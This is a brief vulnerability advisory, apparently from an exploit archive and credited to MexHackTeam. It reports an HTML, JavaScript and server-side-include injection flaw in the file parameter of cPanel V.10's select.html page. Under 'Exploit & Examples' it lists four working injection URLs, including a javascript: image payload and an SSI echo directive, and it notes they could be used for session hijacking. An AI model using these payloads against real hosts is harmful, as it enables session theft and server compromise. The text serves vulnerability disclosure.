Cpanel is susceptible to code injection attacks that allow for cross site scripting.
f2c87e25fbcec1c60bc3fc2d7b6513698e76e621a925ec14c540693b63458cb2
A new vulnerability was found in Cpanel V.10;
It happen cause the variable *&File* of the *select.html* file (in the edit-zone) just filter the <script>'s labels and the possibility can by open to other labels like
*Server Side Include,
*HMTL labels...
*including Javascript expressed in other ways
An attacker can use this vuln. for execute remote scripts in the browser of clients and take advantage of this for hijacking a session or execute SSI code in the own server
Exploit & Examples:
[+] Exploit:
https://[Target]:[Port]/[Dir]/x/files/select.html?dir=/&file= <h1><b>Your code here!!</b></h1>
[+] Javascript:
https://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IMG src="javascript:alert('yeah');">
[+] Server Side Inclusion
https://[Target]:2082/frontend/x/files/select.html?dir=/&file=<!--#echo var="HTTP_REFERER" -->
[+] HTML
https://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IFRAME SRC="index.html">
________________________________________________
discovery by the staff of https://MexHackTeam.org
By Preth00nker
Preth00nker [at] gmail [dot] com